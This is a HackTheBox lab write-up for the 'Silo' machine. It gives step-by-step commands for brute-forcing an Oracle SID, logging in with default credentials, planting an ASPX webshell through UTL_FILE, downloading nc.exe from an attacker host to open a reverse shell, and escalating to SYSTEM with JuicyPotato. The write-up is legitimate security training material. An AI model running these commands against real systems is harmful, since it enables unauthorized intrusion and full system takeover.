# Silo Writeup - HackTheBox

> Exploit Oracle DB on Windows via ODAT for RCE, upload a web shell, then leverage Oracle SYSDBA privileges to escalate and retrieve flags.

- **URL:** https://hackindex.io/writeups/silo
- **Platform:** HackTheBox
- **Difficulty:** Medium
- **Operating system:** Windows
- **Machine:** https://app.hackthebox.com/machines/silo?sort_by=created_at&sort_type=desc
- **Tags:** webshell
- **Authors:** [Mohammad Meraj](https://hackindex.io/authors/mohammad-meraj.md)
- **Published:** 2026-09-11
- **Updated:** 2026-09-11

Silo is a Windows Server 2012 R2 box. The chain runs: nmap finds IIS 8.5 and an unauthorized Oracle TNS listener on port 1521, the SID is brute-forced to XE, odat recovers the default scott/tiger credentials, UTL_FILE with SYSDBA rights writes a webshell to the IIS web root, nc.exe staged via the webshell gives an interactive shell as the IIS app pool identity, and SeImpersonatePrivilege with JuicyPotato escalates to SYSTEM.

## Discovery

### Port scan

```bash
rustscan -a $TARGET_IP
nmap -p80,135,139,445,1521,5985 -sCV $TARGET_IP -oA nmap/nmap
# PORT     STATE SERVICE      VERSION
# 80/tcp   open  http         Microsoft IIS httpd 8.5
# 445/tcp  open  microsoft-ds Microsoft Windows Server 2012
# 1521/tcp open  oracle-tns   Oracle TNS listener 11.2.0.2.0 (unauthorized)
# 5985/tcp open  http         Microsoft HTTPAPI httpd 2.0
```

Oracle TNS listener on 1521 is the main attack surface. IIS on 80 will be the delivery point once file write is obtained via Oracle.

## Oracle Enumeration

### SID brute force

```bash
nmap -p1521 --script oracle-sid-brute $TARGET_IP
# | oracle-sid-brute:
# |_  XE
```

SID is `XE`, Oracle Express Edition default. Try default credentials:

```bash
odat passwordguesser -s $TARGET_IP -p 1521 -d XE
# [+] Valid credentials found: scott/tiger. Continue...
# [+] Accounts found on $TARGET_IP:1521/sid:XE:
# scott/tiger
```

`scott/tiger` is an Oracle default demo account shipped since the early Oracle versions. Confirm it and enumerate what it can do:

```bash
odat all -s $TARGET_IP -d XE -U SCOTT -P tiger --sysdba
# [2.3] UTL_FILE library ? [+] OK
# [2.11] External table to read files ? [+] OK
# [2.12] External table to execute system commands ? [+] OK
# [2.16.1] DBA role using CREATE/EXECUTE ANY PROCEDURE privileges? [+] OK
```

`UTL_FILE` with SYSDBA rights gives arbitrary OS file write. IIS web root is the obvious target.

## Foothold

### Write ASPX webshell via UTL_FILE

```bash
odat utlfile -s $TARGET_IP -p 1521 -d XE -U SCOTT -P tiger --sysdba --putFile 'C:\inetpub\wwwroot' cmdasp.aspx /usr/share/webshells/aspx/cmdasp.aspx
# [+] The cmdasp.aspx file was created on the C:\inetpub\wwwroot directory on the $TARGET_IP server
```

```bash
curl -s http://$TARGET_IP/cmdasp.aspx | head -5
# <!-- ASP.NET web shell -->
```

Webshell is live. Stage nc.exe via the command box (open in browser and use the text field since ASPX WebForms uses VIEWSTATE), then catch a shell:

```bash
python3 -m http.server 8080
```

```
# Via webshell command box:
powershell -c "(New-Object Net.WebClient).DownloadFile('http://$ATTACKER_IP:8080/nc.exe','C:\Windows\Temp\nc.exe')"
```

```
# Via webshell command box:
C:\Windows\Temp\nc.exe -e cmd.exe $ATTACKER_IP $ATTACKER_PORT
```

```bash
nc -lvnp $ATTACKER_PORT
# connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 49164
# Microsoft Windows [Version 6.3.9600]
# c:\windows\system32\inetsrv>whoami
# iis apppool\defaultapppool
```

Shell as `iis apppool\defaultapppool`.

## Privilege Escalation

### SeImpersonatePrivilege via JuicyPotato

```bash
whoami /priv
# SeImpersonatePrivilege        Impersonate a client after auth...  Enabled
# SeCreateGlobalPrivilege       Create global objects               Enabled
```

Server 2012 R2, build 9600, no post-2018 patches means JuicyPotato still works. Stage it and run with a CLSID valid for this build. Launch `cmd.exe` as the JuicyPotato target process and have it spawn nc.exe, not nc.exe directly, for reliable shell delivery under `CreateProcessWithTokenW`:

```bash
powershell -c "(New-Object Net.WebClient).DownloadFile('http://$ATTACKER_IP:8080/JuicyPotato.exe','C:\Windows\Temp\jp.exe')"
C:\Windows\Temp\jp.exe -l 4444 -p C:\Windows\system32\cmd.exe -a "/c C:\Windows\Temp\nc.exe -e cmd.exe $ATTACKER_IP $ATTACKER_PORT" -t * -c {4991d34b-80a1-4291-83b6-3328366b9097}
# [+] authresult 0
# {4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM
# [+] CreateProcessWithTokenW OK
```

```bash
nc -lvnp $ATTACKER_PORT
# connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 49190
# Microsoft Windows [Version 6.3.9600]
# C:\Windows\system32>whoami
# nt authority\system
```

Related

## References

- [JuicyPotato](https://github.com/ohpe/juicy-potato) - JuicyPotato, SeImpersonatePrivilege to SYSTEM.
- [odat](https://github.com/quentinhardy/odat) - Oracle Database Attacking Tool used for SID, password guessing, and UTL_FILE.